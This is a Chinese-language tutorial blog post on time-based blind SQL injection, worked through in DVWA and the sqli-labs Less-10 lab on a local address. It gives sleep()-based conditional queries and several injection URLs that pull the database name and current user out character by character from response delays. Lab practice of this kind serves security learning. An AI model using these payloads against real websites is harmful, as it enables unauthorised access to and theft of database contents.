sql注入漏洞时间盲注原理

根据时间来判断漏洞
代码
在这里插入图片描述

不管你输入什么都不显示
这个就很难检查出来sql注入漏洞
我们就可以根据网站的延迟时间来判断是否查询sql注入漏洞和数据

sql注入漏洞时间盲注方法

现在的数据库名是dvwa
抛开的来说

  1. sleep()函数
    他这个函数是延迟程序执行的
    代码

    1
    select sleep(100);

    dai代码的意思是延迟100秒赞在执行
    在这里插入图片描述

  2. 核心语法:就可以判断数据库名了

当前数据库名是dvwa

代码

1
select if(left(database(),1)='a',0,sleep(3));

left()函数这个有说4. 网易web安全渗透, sql 布尔型盲注
上面代码介绍
意思判断是database()查询当前数据库名第1个字符比较正确直接返回0 错误就执行sleep(3)延迟3秒返回0
结果是d

这个我输入a他延迟3秒说明不是a在这里插入图片描述

我输入d他立刻就执行了说明就是d字符
在这里插入图片描述

  1. 真实场景:就可以判断数据库名了
    在真实场景网站可能要waf和其他机智就不让输入'
    就可以上一节学习到的substr()函数和ascii()函数在这个查看4. 网易web安全渗透, sql 布尔型盲注


数据库名是dvwa
代码

1
select if(ascii(substr(database(),1,1))=100,0,sleep(3));

代码介绍
的意思是查询当前数据库名称取第一个到第一个字符串,
然后ascii()函数叫字符串转化成ascii码,然后进行比较正确就直接返回0,错误就执行sleep(3)延迟3秒返回0
结果是100=d

输入97
97=a
延迟3秒,说明数据库名的第一个字符不是a
在这里插入图片描述
输入100
100=d
发现立即执行了说明就是d
在这里插入图片描述

实战

1. 判断是否查询sql注入漏洞

第10关
输入http://192.168.0.102/Less-10/?id=1
返回You are in………..
在这里插入图片描述
输入http://192.168.0.102/Less-10/?id=1'
返回You are in………..
在这里插入图片描述
输入http://192.168.0.102/Less-10/?id=1' and '1' =' 1 --+
返回You are in………..
在这里插入图片描述
输入http://192.168.0.102/Less-10/?id=1' and '1' =' 2 --+
还是返回返回You are in………..
在这里插入图片描述
输入192.168.0.102/Less-10/?id=1' ) or ('a'='a --+
还是返回还是返回返回You are in………..
在这里插入图片描述
等等等等等等等等等等等等等等其他方法我就不演示了
发现根本就没有注入点

我们就可以使用sql时间盲注了

输入http://192.168.0.102/Less-10/?id=1" and if(left(user(),1)='a',0,sleep(3)) --+
user()查询当前的用户名
输入a发现延迟3秒
在这里插入图片描述
直到输入到r发现没有延迟,说明存在sql注入漏洞
输入http://192.168.0.102/Less-10/?id=1" and if(left(user(),1)='r',0,sleep(3)) --+
在这里插入图片描述

数据读取

读取当前数据库
URL地址http://192.168.0.102/Less-10/?id=1" and if(ascii(substr(database(),1,1))=100,0,sleep(3)) --+
输入100=d
发现3秒才返回
在这里插入图片描述
输入115=s
发现直接就响应了说明就是s
在这里插入图片描述

这个太麻烦而且还慢可以自己
写一个sql时间盲注脚本应为我时间不多,有时间在写